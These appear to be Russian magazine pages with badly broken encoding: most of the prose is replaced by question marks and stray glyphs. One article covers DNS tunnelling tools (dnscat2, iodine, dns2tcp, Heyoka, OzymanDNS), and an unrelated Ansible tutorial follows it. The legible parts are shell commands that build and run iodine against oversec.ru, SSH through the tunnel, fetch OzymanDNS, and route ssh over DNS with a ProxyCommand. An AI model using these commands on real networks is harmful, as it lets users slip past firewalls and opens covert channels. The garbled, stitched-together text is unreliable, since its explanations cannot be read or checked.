?????� ?� ???� ???�??� ???�?????!� ???�??� ?� ????,� ???� ?� ??????� ????�?????�?
??�??�??�?????�??�??��???�???.�??�??�???�??�??�???��???�?????�?
???�?��??�????�?�??�??�???�??�(?????????�??????�??,�??�???�????
???�???),� ??� ????� ??� ???�????� ???� ????????�?� ???�?????�?� ???�??,� ??
????�????� ?� ???�?� ????�??�?� ???�???�?� ???�????�?,� ???� ???� ?????� ??????�
?????�??�???�???��??�????�?�??�?????�??�????.
??�??�??� ???�?� ??� ??????�??????� ????�?� ??� ????�??????� ???�?� ???�?
?� ???�????� ??� ???�??� ???�?????� ???�???�??� ?????.� ???� ???�???,� ????????�
???,�??????�??�?�??�???�??�?�??�???�??�??�??�??�??,�??�??�?��?
(MySQL,燨racle,燬olid).�???�??��????�??�??�??�???�????�?�???�?�????
?� ?????�????� ???�???�???� ??????????�????�?.� ?????�?� ???�??� ?� ???� ?????
?????�????,�???�?�??�????�(???�????,爎oot?????�???????).
??�?� ???�?????�??� ????�?????�?� ?� ???????� ???�??,� ???�???�?� ?� ????�
?????��????�??�??,燜TP��??�???�??�??�?��????�????�??�???��???�
?????� ????� ???�??.� ????� ????�?????� ????????????� ???� ???�???� ?� ?????�
???????,�?�??�?????�??�?????�??�?�??�???�?.
??�??� ???�????� ????�????� ?� ??????� ????�??�?� (???�???)� ???�???�???
?�???????�??�?????�??�???�?????�?�(???,�??�?��??�????).
??�?� ????� ????�?� ????�?????�?� ???�??� ??????�???� ??� ?????�??� ?????�
???�????????�????�??� ???�????� (?????� ???�????� ?� ????),� ???�??� ???� ???�?
???�??�?� ???�??�?� ?� ????� ???�?� ?� ?????�????� ????�??�???,� ?� ???� ???????
?�???�??�?�???????�??�??.
???�??,� ???????� ???�????� ????�??�?� ??� ????�?????�?,� ????�?????:� ???
??� ?????�??� ???,� ????�??� ?� ???�??�???� ???�??.� ?????�?� ????� ????� ??
????????� ???�??� ?� ????� ???????�??,� ??� ???�?????�??� ???�??� ???�??�?
????�?� ??� ??????.� ????� ???�?� ???�???� ????????� ????� ??� ???�???�???
??????,營P�???�??�???�???�?????�???.
????�??�??��??�?????�??�???�?????�?,�?�?????�??�??�??�??�???�
????�?�???�???�??�??�????,��?????�?�?�?????�?.�??�??�???,�???�
???��??�???�????�????�???�???�?��??�???,�?�??????�?????�?�????�
???????,�?�??�???�?�?�???�?.
??�?�?�???????�?�?�????�????,�??�??�??�?�??�????�??�??�????�
???�????,� ??� ???�???� ???�???� ????�????� ?� ???� ???�?,� ???????� ????� ???�?
??????�?�??�?????�??.�??�?�??�????�???�??�??�??�??�??????�?.�???�
??� ???�???� ?????:� ????�??????� ???�??� ???�??� ?� ????�????,� ??� ?� ?????�??
???�???�??�?�???�?��??�???�牜???�??�???�.
?� ????�???� ???�???� ????� ??????� ?????� ????�?,� ???� ???� ??????�?� ????�?
?????� ???�??.� ?� ?????� ???�??� ???�???�???� ??????� ?????� ?????�????
???� ????�?????� ????�?� ???�??.� ???�?� ???�??????� ???�??� ??� ???�?
?� ??????,� ??� ??????,� ????� ???� ??????,� ??� ???????�?.� ???�???�????�?
???�???�???�???�???�?�????�?�??�?��??�???�????�??�???.
?????
???????
???�????????
??????�??????
??????�???????
??????�??????
?????????�???�?????????�??????,
???????�???????????�???????
??燚NS
???�?�??�??��???�??�???�???�??�??�??�??,��???????
???�??� ???�?� ???????,� ??� ??????� ???�????� ???�???� DNS?
???�?????�????.� ???�???� ?� DNS� ????� ???� ?????� ????�??
???�???�??� ????�?� ???� ??� ???�????,� ?� ???� ???�?� ???????�
??????,� ????�??� ??� ???� ??� ???�??� ???�???,� ??????�???�?
??�?�??�???.�????�????�???�?�??�?????,�?�??�?�???�
???� ???� ???�??�??????� ?� ??????�??� ????� ????�???�??� ???,
???�????,�??�???�???�?????��???????�?�???�???燱i?
Fi� ??� ???�????.� ?????� ???�?????,� ?????� ???�???� ???????
????��???�???��????��??�??�??�?��?????.
??�??????
??�???� ????� ??????� ?� ???�????�?� ??� ?????�?� FBK� CyberSecurity.� ???� ?????
????�??�??� ???�??�???� ????�??�??????�?????�????� ????�?� ???� (??????�
?????��??�?????�???�??�???�??�?).�??�????�??�????�???�???�?�???�??
?�??????�???�????�??�??????�???�??�??????�????.
???�?�???,�??�?????�???燜BK燙yberSecurity:
? ???�?????�??�?�??�??�???????
? ??�??�???,�??�??�???�??�???�??�???
? ???�??�??,�????�?�??�???�???燩CI燚SS�燬WIFT?
? ??�????�??�??????�????�(???�?????,營oT��??�????)?
? IT??????�營T????�???????
? ?????�????????�???�??��???�??????�?�??�??�???�??營CO.
?�??�?,�??�????,�??�????� ??????�牜??????�,�??????�??�????�?�???�
??????�??燜BK燙S��???�????�??�?�?????�??.
???� ?????� ???�?,� ???????� ?????�??�???� ??,� ???� ??� ?????� ??????.� ?� ?????
??????� ?????� ???�????�??:� ????� ????� ??????� ??????� ???,� ???�?????�???
URL� ???�?� ?????�???,� ?????�?� ????�?� DNS� ?????�??� ??� ????�???�???
?�?????.�??�???�???��????,�?�??????�????�?.
???�??� ?� ???????�?� ???�?� ???�?� ???�??�??� ???�??� ???� ???�??�??�??� ????
???�???��??�??�?�??�??�?????��?????.�?�??�???�??�???�??????�
????�??�?????�??�???�????�??�??????�??.
DNSCAT2
dnscat2� ?� ??????�?� ???????�??� ???�???,� ???�??????�??� ??�??� ??????,
???� ???�????� ?????�??????�????�???� ??????� (C&C)� ?????� ???�????� DNS.
????�???��???�??�?????�????,�??????�??�?燫uby,��??�?�??�??�?燙.
???燱indows�????�??�?�??�??�??�???�??燩owerShell.
???� ??????�????� ???�??� dnscat2� ??????�???� ????�???�????� ?� ???�????�
???????�??� ????.� ???�??� ??????�???� ???�?????�???�?,� ??� ????� ???�????
AAAA�??�????�?燗.AAA,燗AA.A��??�????.
???�?�??�????�?????�??�????��????�??,�?�???燼1�燗1��???��?�?.
???�?????�??????�??�???�??�?�????�??�??�????�??�??�??��??????,
NS???????� ??????�?� ???�???�?� ??� ???�???�??� ??????.� ???�??� ?????� ????�
????,� ?????�???� ??� ?????�??� ???� ???� ?????�???� ?� ????�????� ???� dnscat.
???�?????�?�??�??.
??�???�??� ????�???�???� ???� <encoded� data>.<domain>� ???� <tag>.<
encoded� data>.� ?� ???�??� ????� ???�??� ????�???�???� ???�?,� ??????�???
?????�????�????�?????�??�??????�??�????�???�?????,�??�??�????
?????�???�?�???�??????�?????��????�????�?�??�???燚NS.
Dnscat2� ???�????�???� ????????� ????� ???????� DNS:� TXT,� MX,� CNAME,
A�燗AAA.�??�???�?�???�???�??�?�???�??�???�?�??�???:
? TXT??????��??�???�??????�??�??�?????
? CNAME� ?� MX� ??????�???� ???� ??,� ???� ?� ???�??:� ????� ?� ???�??�??� ????,
????� ?� ???????� ???�???�?� ??????.� ???� ????�?????,� ??????� ???� ????�
????�??�??� ???�???� DNS� ??� ?????� ???????�??????� ???�??,� ????� ??
??�????�???�???�???�???�??�???�????�??�??�???
? A�燗AAA��??�????�?.燭XT,�??�??�??�????�????�?????�??�???.
???�????�?????燿nscat2
??�??�???�??�???�???�??�????,�?????�?????�??�???燬YN??????.�??�??
????�???�??�????�??�??????.�??�??��??�??�????�???�??�????�?????
MSG.� ???�?� ???�??� ????�?,� ???� ?????�????� ?????�???,� ??� ??????�???
??�??�??�????燜IN,�?�??�??�??�???�???�??�?.�??�?�??�??�???�?,�??
?????�????�????�???,�?�???�???�?燤SG�?�??�???�??????燜IN,��????
????�???�???.
??�??�??�?????�??�?�???�???,�??�??�??燿nscat2�????�??�???�???�
????�?�??�??,��??�?�??�????�???�??????�???�????�??�(??�????�????
???�???�????�????).
??�??�??�????�???�?????�?��??�???�??��??�??�????�?�??�???�?
???�??????�?????�?�???�???��?????�????�??�????�???.
??�???
???�??�??�???�??�燝itHub,�??????�??,�??�??�??�?,��??�???�?�?????�
????.� ???� ??????� ??� ???�???� ?????� ?????�?????,� ???� ??� ???�???�??� ??� 53??
???�?.�??�??�?�????�??�??�?????�????�?.
??�???� ?????�??� ???�??.� ?� ????�??�??� ??????�?� ????�?� ?????�??� ???,� ???
???�??�??��??�??�??�???�?營P�??�???�??????.
???�????�?�????�???�??�??��????,�??�??�??�???�??�???.�??????,�???�
??�?????�?!
??�??�???�??�???�?�??�?????.
??�????,�????�??�??��??�??.
???�?????,�??�??�???�??�??�??�????�?.
???�???!�??�??�??�?�????�??爏hell.
??�??!� ???�??� ?� ???�??� ???�???,� ????� ?� ??????�?� ??� ????�????,� ?� bad� se?
quence.�??�?????�?�??�??�???燙trl?Z��???��??�??�
???�????�???��??????��???�????,�??�?�???�??????�????�????
?�??�??�??.
???�?� ??????�???� ???� ???�?� ?????� ?????�?� ???�?� ???� ???� ??????� Enter.
??�???�??�????,�????�?,�?�?�????�?.
???,� ?????�?,� ???� ??????,� ??� ??????� ???�?� ????�?????� ???�???.� ?????
???�???�?�??�?????��??�???�?燬CP��????????????�??�???�????�???�
???,�???�?�??�????�???????�??�??�????.�???�?????�?�??�???.
?� ???�??� ???�???� ??� ???�???,� ???� ????� ???�???� ??� ???�???� ???�???
????�90��?�??�???�??????�??????�?� 178.128.34.53:22.�?????�?????�
???燬CP.�爐cpdump�??�?�??�???�???�??�??�???��??�????.
?� ???�?� ??????�?� ????�??� ???�????� 0,8� ?????/?,� ????�?� ?� 4K,� ?????�?,
??�??�??????,�?�???�?????�??�??�??�??�?�??�???.
??�??�??�??,�??�??�??�??�??�????.
???�????,�???�??�????��???�??�?��????/?,�?�?�??�?�??�???�???�
????�???�??�?????.
???�??� ??� ?????�???� ???�??� ??� Kali,� ???�?????,� ???� ??� ??????�?� ?� Win?
dows.� ?????� ???� ??????�?.� ???� ???� ??� ?????�????�?� ???�??� ?� ???�?� ???�??
????� ????�?????� ?????�????,� ????� ??� ???� ?� ????� ???�?????� ???????�??
???????.
??�???�??�????�?�???�?????燬CP�??�??�??�??�?�???�????�?.
???� ????� ??� ???�???� ????????� ????�??� ???�????� ??????.� ???�??� ????�
???????�?�?燱indows����??�???�???�?????�?????.
???�??� ?????�????� ?� ??� ???�??� ???� PowerShell.� ???� ???�?� ???�??�?
??????�??�???�??�??��??????�??� ??no?cache.��??�?�??�??�???�?????�
????�??�??��???�?�???????�??�?�??�?????�??��??�????.
????�??�?????�???�???�??.
??�???� ?� ????�???�??� ???�???� ???� ???�???�?� ?� ????�???� ??� ?????�????
????.
???�?
? ???�??�??�???�?
? ????�??�????�??�???
? ???�??�??�??�???�??�??�??
? ???�?????�???�??�???
? ???�?????�??� ??????� ??� Windows� (????� ???� ????�?� ???�?� ???�???
???????)
? ???�????�??�????爚0,6?0,8�????/?
? ???�????�??�????爚10�????/?,�?�?�????�??�????�???
IODINE
Iodine� ?� ???�???,� ???�??????�??� ???�??� ????�??.� ???� ???�???�?� ?????�
????????� ???�??� IPv4� ?????� DNS� ?� ??????�?????�?� ???�????�??� ?????????�
???.�??�???�?�??�?????�???�??�???��???�???,�??????�??�?燙.�??�???
Iodine�????�???�?�???�?��??�???爎oot,�?�????�???????�?�??�??�????�
???�????�(ARM,營A64,爔86,燗MD64,燬PARC64)�??�??�?:燣inux,燜reeBSD,燨pen?
BSD,燦etBSD,爉acOS�燱indows�(?�???�????燨penVPN燭AP32).
??�????�?�?�??�??
???�?�???�?????營odine�?�??�??,�??�????�?�????�???�????�?
$爏udo燼pt?get爄nstall爈ibz?dev�&&爂it燾lone爃ttps://github.com/
yarrick/iodine.git�&&燾d營odine�&&爉ake�&&爉ake爄nstall
?�??�????�?�?�?????�??�???:
$爏udo�./iodined�f�c�P爏ecretpassword�2.17.0.1爋versec.ru
??�???�??�???
???�?????�?????��??�????�??�?�???????�?????�??�?
$�./iodine�f�P爏ecretpassword爋versec.ru
??�???�?�??�???�?????�?�??�????�??�????????燿ns0,�??�??�??????營P?
?????.�??�?�???�???�?�?�???營P,��??�??�??�??�????燚NS.
???�???�?�??�??�???�?�?燬SH.
$爏sh爎oot@172.17.6.2
??�???�?!�??�??�?????�???爐cpdump�?�??�??�?�??�???營odine.
??????????? ??????
?
? �?????�?????
?????
???????
???�????????
?????????�???�?????????�??????,
???????�???????????�???????�?燚NS
Iodine� ?????� ?????�??????�?� ????????� ?????�??� ???�???� ??� ???�?????
?????�?????�??�(Base128,燘ase64,燘ase32)��????�??????�(NULL,燭XT,燤X,
CNAME�燗),�??�???�?�???�??�????�?????�???�??????��??�?��????/
?�??�?????�??????燬CP.
???�??�???�?� ???�??� ???� Windows.� ???� ???�?� ????�?????� ???�???� ?????�
??????� ????�???� ????????�?� TAP/TUN.� ?????� ?????�???� ???�???�??,� ???� ?
?燣inux,���???�?�???�??�??�???.
???�?�?�????????�??�??�???,�?�??�????�?�???????�??�??��?????.
?�????,�????�?�????�???�??�??營odine�燱indows�?�???�?????�???�??.
???�??�???�?�??�????�?????�?��?????�??.
???� ??� ?????,� ???�????� ???� DNS????�???� ????????:� 9,8� ?????/?� ??� ??????�?
?�?????�??�????燬CP.
???�?
? ??�?????�??�??�????�?????�??��????�??????
? ??�???�???�?�?????�????�???�?????�?
? ???�?????�???�??�??
? ??�???�??????� ????�??�?� ????�????� ?� Windows� (?� ???�?� ???�?????�??
???�???????�?????��???�??�????)
? ???�????�??�????爚9,8�????/?
? ???�????�??�????爚9,8�????/?
DNS2TCP
dns2tcp��??�??�???�??�??�??�??�??燭CP�????燚NS.�??�??��??�??�
???�?????�???,� ???�??� ???�?� ???�????� ?????� APT.� ???�??�????� ???�???
?�??,�??�??�???�?????�?�??�??�?�??�???��??�???.
??�???
???� ??????� ???�??�?� ???�??.� ???�??� ?????� ????�??�???�?� ????� /etc/
dns2tcpd.conf.
??�???�????�??�??�??�??�????�??
$燿ns2tcpd�f�/etc/dns2tcpd.conf
????,�?????�???��??�???.
?????� ??� ???�???,� ???� ?????� ????�???????� SSH� (???�?� ????� ?????
???燬MTP),�??�???�???,�???�????�??�???�?,�?��??�????.�????�??�??
???�???�??�??.
?�???�?�??�????��??�????.
???�?
? ???�?????�???�??�??��??�??
? ??�???�?��?????�???�???�???牜??????�
? ????�??�??�????�??�????爚5�????/?
? ????�??�??�????�??�????爚13�????/?
HEYOKA
Heyoka� ?� ???�???,� ???????�??� ??� ?,� ???�??� ???�??� ?� ???�??� ?� ???� ????
?� ???� ??� ???????�???� ????.� ???� ???�???� ???�??�?????�??� ???�???� DNS.
??�??�??�???�??,�??�???�?????�?�?�%�??�???,�??�??�??�??�?????�
???�??�??�??�?�(??�??�?????�?�09�??).�?�??�?�??�???�???�??????
???????�???�???�??燱indows,��??�??�??燯nix,�??�????�??�?燝itHub,
????�??�???�??�??�??�??�????�????.
??�???
???�????� ???�????� ?� ???�???�??� ??� ???�?,� ???�???�?� ???�?????� ???�?� ????�
????.�??�??��????�?�??�???�?�?????�燱indows�.
??�????,�??�?�?????�?.�?????�????�??�??�??.
?????�?!� ?????�?,� ??� ??????�?,� ????� ?????�???� ?� ???�???� ????�??�??�???.
???� ?,� ???????� ??????� ???�?� ???� Unix.� ???�????�?� ?????�???� ???�??� ?� ????�
????�?�??�??.
???�?
???�??�??�???�???��??�?�??�????�???,�????�???�??�??�?�??�???,��??
???????�?� ?� ???????�??� ?� ???�???�?� ??� ???�?????�?.� ???� ???� ??� ??� ????
??�?????,�???�???�?�????�?��??�?????�??�?.
OZYMANDNS
??�???�?� ????�??� ???�??�???� ???� ???�????� ???�????� DNS� ?????� SSH,
???????�??�????�????�???��??????�05�???.
??�???
???� ??????� ??????�??????� ???�?� ????�?????� Perl�
MIME::Base32�燦et::DNS��???�???�????�??�??????.
?�
???�????�?
$爏udo爌erl�MCPAN�e爏hell
cpan[1]>爄nstall燙PAN
cpan[2]>爎eload燾pan
cpan[3]>爄nstall燤IME::Base32
cpan[3]>爄nstall燦et::DNS
??�???��??�?????�???�????.
$爓get爃ttps://github.com/mubix/stuff/blob/master/stolen/ozyman
dns_src_0.1.tgz?raw=true
$爐ar�xf爋zymandns_src_0.1.tgz?raw=true
??�?� ???�???????� ?????�???� ??????� ???�??,� ??� ??,� ???�??� ???�?,� ???�??
?� ????�??� ???????.� ????� ????�???� ?� ???�???� ???????�??� ????�???
??�??�?爊omde.pl.
???�??�????�???�?�????�???�?:
$爌erl�./nomed.pl�i�0.0.0爋versec.ru
??�?�??�???�?�???�?�??????,�??�????�???�?????�????�?????�?????
?????燙PAN.
??�??�???�??�??.
$爏sh�D�80�C�o燩roxyCommand="perl燿route.pl爈ol.oversec.ru"�
oversec.ru
??�??� ????�?:� Perl� ??????�??� ????�???� ???�????� DNS.� ???�???� ???�???
????.
$爏sh�D�80�C�o燩roxyCommand="perl燿route.pl�r�8.197.178.150�
lol.oversec.ru"爋versec.ru�v
??�??,�??�???�?�??�??,�?�????�????�?�??�?????.
???� ???�??�???�?� ??� ???�??� ?� ?????,� ???� ????� ??????�???,� ???� ?� ???� ?????�
?????�??�?????�?,�?�??�???��??�?�燨zymanDNS�??�???�?�???,�?�??
?� ??� ????�?� ???�?????� ???� ???�?� ????????� ????� ??� ???� ???????�??.� ????�
?????,� ?� ???????� ??� ??????�??� ???�??� ??� ???� ???�????,� ??� ????� ??� ??????
?� ????,� ???� ????� ?????�???�?� ?????� OzymanDNS,� ???�????� ????� 17� ????/?
?�?????�???�??�?????�??,��???�?????�???�??�????�??�???,�?�??�?
???�?�?????�???��???�??�???�?�?????�??�??.
??????????
????,� ??� ???�???�???� ?????�??� ?????�???� ???�???� ???� ???�????� ???�????
?????� DNS.� ?????�?,� ???� ???� ??????� ??� ???� ???????� ?� ?� ???????�?
???� ???????� ???�?� ???�?� ???�?� ???�??�????.� ????�?� ????????� ???� ????
??�???!
1.燿nscat2
????????�???????,�????/?:�7
?????????�???????,�????/?:�
+:� ???�??� ???�???�?,� ???????� ?????� ???�???,� ???�??�??
???�???�??�??�??
-:�??�?????�???�??�???,�??�?????�??�?????�燱indows
2.營odine
????????�???????,�????/?:�8
?????????�???????,�????/?:�8
+:� ??�?????�??�??� ?????� ??????�??� ?� ?????� ???????,
???????�??�????�?????
-:� ??�???�???�?��??�???�????�???�?????�?,�??�??????�
????� ???�??,� ????�????????� ????�??�?� ????�????
???燱indows
3.燿ns2tcp
????????�???????,�????/?:�?????????�???????,�????/?:�
+:�?�??�???
-:� ???�?????�???� ???�??,� ??????�?� ?� ??????� ????�???
????牜??????�
4.燞eyoka
????????�???????,�????/?:燦aN
?????????�???????,�????/?:燦aN
+:�?�??�???
-:�???�????��????�??
5.燨zymanDNS
????????�???????,�????/?:燦aN
?????????�???????,�????/?:燦aN
+:�?�??�???
-:�???�????��????�??
?� ??????�???� ?????�??� ???�??????�??�??� ????�???� ?� ???� ????�????????
???�?????�???� ???�??� ?� ???�?????�??� ??????� ?� Windows.� ????� ??� ????????
??????
?�??�?�???�?�?????�??�??��??�??�??.�?)
?????
???????
????�???????
????�??????
???????�???????燷[,
?????????�??????????�
?????????????
rusanen@glc.ru
??????????燗NSIBLE
???�????????????
???????��???????
Ansible� ?� ???�??�???,� ?� ???????� ???�???,� ???� ???�????,
???,� ??� ???????� ??????�???� ????� ???�?????� ????�??�???�
????.�??�??�????�???�??�????�???�??�???�??�燗nsible
????�?� ??????�???,� ???�?� ???�????�?� ???�???????� ?????�
????�??� ???�???� ???� ????�?????�?� ?� ???�???� ?????�???�
????� ???�?????�??.� ????�?� Ansible� ?????� ???�???�?
???????���??�?????�??�??�?��??�???�?�????�???�?,
???�???�?.
???�????
????� ???�?� ??????�??� ?� ????????� ????????� ???�??� ??????� ?� Ansible
???� ???????� ????�??� ?� ?????�??� ??????.� ???�??�???� ?� ???�??�?????
??????�??????� Ansible� ???� ???�????�????� ??????????�???� ?� ???�??� ????
?????�?,� ??????�???,� ?????�????.� ??� ???�??,� ???�?� ????�????� ??� ???�????�
???,� ???� ????�??�??� ????� ??????�???�??� ???�??�???� ???� ????� work?ow.
???� ???� ???????� ????�???� ??� ????� ???�????,� ????� ????�?� ????�??� ????�
?????.
?????�????�??????????�????????�??????
??�??�??�?????�???�????�?,�????�?�????�????????�??�?�????�???�
???� ?� ???????� ?????�??�???.� ???� ?????�??�???� ???�??� ?????�??�?� ??
?????�???????:
? ??�?????�??�??�???�??�?�???�????
? ???�??????�??�??�??�?????�???
? ??�??�????�??�??�????�??�?????�(???�?�???�??�?�??�????)?
? ???�???�????�??????�?????�???�??
? ???�???�?�??�?�??�????�?
?� ???� ?????.� ?� ???�??� ????� ??????� ??� ??????�?� ????�???�???�???� ???�????,
???????� ???�?� ?????�???� ??� ????�??�?� ???????� ???�???� ??� ??????�??
??????�?��?????�????�??�?.
??�??�??�????�??�???????�??�??�????�?�?�??�???�???�??�????
??????� ??� ????�???�??�???�?� ???�???,� ???�??� ???�????�???�??�?� ???�???
????�??�???��????�?�????�???�??�?.�??�???��??????�??�?????.
???�??�???�??????
???� ???�?� ?????� ???�???????� ???�??� ???�???� ???�??�??� ???????� ???�?
??�????�?????.�???�???�???�?�??�??:
? ???�??�?�???�??�????
? ??�??�???�???�????????�?????�???�?�??�??�??????
? ??�??�????�?� ?� ?????�??� ??????�?� ?????�???�??� ???�?,� ?� ???�?� ????�
????�?.
?� ?????�??� ???�???� ???�?� ???�????�?� ???�???????� ??� ?� ????,� ???�???� ????
????�??????� ????� ?,� ???� ?????� ???�???�??,� ????????�?� ????�?????� ???
????�?��??�??,�??????�????�???�??�??�???�??�??�???�?�?.�???�?:
?� ????� ???�??� ???� ????�??�?� Arch� Linux� (????� ??� ????� ??????�?� ?????�??),
??????�????� ????�???� ?????�???� i3,� ?????�???�?� ??????� (??????� ??� ?????�
???�???�??�?� BT?????),� ????�??�???� ????�?� ???�?� ???????,� ????�??,� sys?
temd????�??� ?� shell??????�??.� ?� ???� ???� ???� ???�?� ????�??�?� ?� ???�???�?
?????�???�???�?�?????�?�??�?.
??�???� ?????�???� ?� ????� ???�???�?� ???,� ??� ???� ??????�?� ???�?� ????.
???� ????� ???� ???�?� ??????� ????????� ?� ?????�???� ??� ????,� ????�?� ???�?
????�????,�??�??�?�?????�?,�?�??�??�??�??�?�???�??�???.
????�??�???????
?????�????�?�????,�??��??�???�???�??�???��??�??�??�??.�??�?�???�
???� ?????� ???�???,� ???�???� ??????�??,� ??????� ??� ???� ??????�?� (???
??�?????�?).
??�?�?�???�???�????�??�?,�??,�??��??�?�?�???�?????�????��???�
????� (?� ?� Linux� ?????�????� ?????�???� ???� ????� ?� ???�??� ??� ArchWiki),� ??
????�?�???�?????,�??�??�?�?�?????�??,�?????�??�???�????�??�??
??????�?� ???,� ????� ????�?� ??????�?� ???�?.� ???�????,� ??� ???�??� ????????
???�??�??�?????�?????�??��??�???,�?�?????
????�??�????�??�??�??�????�???�??�??�?��????�??�?,�?��????�
???�???�???????�???�????�?��??�?�???�?????.
???�??????�????��??�????�???????
???�??????�??� ???�??� ?� ???�?????�???�??� (?????:� ???�????,� ???� ???�??
????,� ?� ??� ???� ???�?� ???�???)� ???�?????�?� ????�???� ??????�??� ???�??�?.
???�???� ????�??????� ????�????� ?� ???� ???�????�?� ????� ???�?,� ?� ???� ????
???�???� ???�????�???� ?� ???�?� ????�??,� ???� ???�??�??,� ??� ???�????�??
???????.
???�??�???�???牜??????�?????粻???????��????�?�???�????�??.
?�??�???�?�???�??�???
????�?,� ????� ??� ????� ???� ???� ??� ???�??????�???� ???�???� ?� ???�????� ??,
????�?�??�????�?�??�??�????燦ixOS.
?????? ????????
??�???�???,�??�??�??�?�??�????�????�??�?�???�???????��??�??�???�
???�??�?,� ???�????� ???�???� ????�??� ???�?� ??????????� Time� Machine
???燦orton燝host.�??�?�????�?��????�???????�?:�????�???�???��???�
???�????燚ocker�??�???�??�???�??�燗ppVM.�???�???��??,�??�???�?
??� ???�????�???,� ?????????� ???� ?� ?????????� ????� ??� ???????�??� ????�?.
???�???�??�???,�??�??�???�??�??????�??�???�?�??�??�????��?�??
???�????�????�????�?��??�?????�??�????,�???�??�?�???�?????�/7.
???�??�??????燗NSIBLE
Ansible� ?� ???� ???�???� ?????�??�??.� ???� ??????�?� ??� Python,� ???�???�??�?
?�??????�??�??�??�???�??��?�??�???�??�???�?�??????�??????.�???�
???�???� ???????� ???�???�???,� ???� ????� ?????�??�?� ???�?� ???�????.� ??� ????�
?????�?�????,�?�??�?????�??�?????�燩uppet�燙hef.
???� ??????� ?� Ansible� ???�????�?� ????????� ??????� (???�????,� ???�??)
?� ???????�???�?� ???�????,� ???????� ??� ???�??� ?????�???� ??� ???????
??????.�????�??�?????,�??�?????�??�??�???.
???�??燗nsible�?????�???爌laybook.�?�??�???�???�?�??�?燳AML.�???�
?????� ???�??� ???�???� ?� ??????.� ???� ???�??� (???�??)� ???�??�??� ????�
?????????,� ???�??� ??� ???????� ???�???�?� ????� ???�????.� ??????� ?????� ????
???�??�?,� ?� ?????,� ?� ????� ???�???,� ?????�???� ????� ???�????.� ?� ???� ?????,
???�??�???�?????�??�????.�??�???�????:
? ??�?????�??�????
? ??�???????�????�(???�?????)?
? ???�???�???�??�???
? ??�??�???�????�?.
??�??� ?????� ????� ?????�?� ????�?,� ?� Ansible� ????�??�?� ??� ????� ?� ?????�??
???�??� ??� ???�???.� ???�????� ??� ???�??� ????�???� ???�???� ?� ??� ???�??
?� ?????� ???�?� (?????� ???�??� ????�???� ???� ???�?????�?).� ?????�?,� ????�??
??????�??�???�???�?�??�?????�?�??�???�?�??�??��?????�???,�?�??
?????�????�??�??��????�???�???.�)
???�??�???�???�??�???�??�??�????�????�?????�???�?????�?
????�????.�???�?�??�????�?�??�??�????
?� ???�??� ??????� ????� ????� ???????�?� (???�????,� ???�??� ???????,� ???????
???�?�??�?????,�??�???��??�??,�??????�??�?�??�???�???).�??�?????
?�??,�??�?????�?????�??�?????�????,�???.
???????燗NSIBLE
???�??�?�??�?????燗nsible?
Linux,燩ython���?????�??�??�???燬SH.�??�?�??�????�??�???:
? master��?????,��??????�?�??�???�??�?�??????�??,�??�???�???�
????� ?� ??� ???????� ??� ?????�???� Ansible� ??� ?????�??.� ???� ?????�???
?????�?�?�??�??�??�(???????)�??????
? target� ?� ??????,� ???� ???????� ??� ?????�???� ??????,� ???�???� ????�
????� ?� ???????� ??????,� ??� ???????� ??� ?????�?� ???�?� ???�??????
???????�???�????.
????�?�?????,��???�??�?�??�??�??�??�????�??�??,�???�??�?????燗nsi?
ble�?�??????�??�?�?�??�?????�?.�???��???�???�??�???�????�???
(?� ???�???�??� ???,� ???�????,� ?� Raspberry� Pi� 3),� Ansible� ???�?� ?????� ????�?
??�??.
??� ??� ???�??�??� ????:� ??????�???� ????� ??????� ?� ???� target?????,� ?� ???
master?????.�????�?�???�?�???�????燗nsible�????爌ip營nstall燼nsible.
????�?�??�???�??�?????燗rch燣inux�燩ython�燗nsible�????爌ip.�???�?
??????�?�??�?
??�????�???�??�?��????�???爌laybook
?�??�?�????�?�?????�??�?,�??�?�?�??�???�?爉aster?�爐arget???????,
???�??�????�????�???�?�????�?????.�??�??�??�??�??�??�??�???�?
?????�??�?�????�?.
??�??�????�??�????�?�??�?燗nsible�??�??�??�??,�??�?????�?�??�?
?????�???�??�????.�???�?�??�??�?�???�??�??�???�???��??�?� /etc/
ansible/hosts.�??�??�???�???��?????�??�?????:
[control]
localhost燼nsible_connection=local
???�?�???�???�?:
? ???�???�???�?燾ontrol?
? ??�?????�?��??�???�???燾�???�??� localhost�(???�?�??�???�????
???�?????營P)?
? ??�??�?????�?�??�??�?爈ocalhost�??�???�??�????�????爈ocal.
?????�???�?????�???�????.�???�?�??�?????��??�??�???�??�???燗n?
sible� ?????�???�?� ?� ????� ??� SSH� ?� ?????�???� ????�????�??� ?� ?????�?� ????�
?????.� ????�?,� ???�???�?� ??� ?????�???� ???�????� ???� �????� ?????�,
????� ??� ???????� ???�?????� sshd??????,� ???�?� ?????�??????�?� ?� ??????
????.�??�????�??�???燗nsible�??�???�?�??�???�????�?????�??�???????
ansible_connection,� ???????� ????�????� ???� ?????�????.� ?� ?????� ???�??
???爈ocal.
???�???�?� ???�??�?????� ???�?� ??� ??????� (?� ?????� ???�??� ?????�???�??
????):
$燼nsible燼ll�m爌ing
localhost爘燬UCCESS�>爗
牋�"changed":爁alse,
牋�"ping":�"pong"
}
??�??�?爈ocalhost��?????�?.
????????�???燩LAYBOOK
??�??�??�?,�??�?�???�??�??�?爌laybook��??�????�????�??�??�???�
????�??�??�????.�?????�?????�?�?????�??�?????.
????�??,� ???� ???�?� ????�??,� ?� ???� ?????�????� ???�??� ??????� ???�???�?
??????�?????� ??????.� ??????� ?� ???� actor,� ???????� ?????� ?????�???� ????�
?????�???�????�???�???.��??�???:
? ??�????�?????��????????�??????
? ???�?????��??�???�??�??
? ???�???�???�?????�?????
? ???�?????�??�??
? ??�???�???�???�????�燬lack.
???� ???�??� ??????� ??????�?� ??????� ?� ?????� ???????�??� ???� ?????�?,� ????�
?????� ???�??� ???????� ???� ????�??�?.� ???????� ?????� ???�?,� ?� ??� ???�??
????�??�?�?????�???�?????�?� ?????.��???�???�??�?�?�??,�??????
???�?????�??�?.
1.�??????�??�??�???��???�??�?�??????
??�???爌acman,燼pt,燽rew��??�??�????�??�????�???�??�??�??��??�??.
???�??????�??�??�???��???�??�?�??????�??????�???�???�??????
????�??�??��?????�?????�?�?????爌acman.�??�??�??�????�??�?????:
?爊ame:爁ull爏ystem爑pgrade
燽ecome:爕es
爌acman:
牋爑pdate_cache:爕es
牋爑pgrade:爕es
?爊ame:爄nstall燾li燼pps
燽ecome:爕es
爌acman:
牋爊ame:
牋牋�爔term
牋牋�爐mux
牋牋�爊eovim
牋牋�爎anger
牋牋�爉utt
牋牋�爎sync
牋爏tate:爌resent
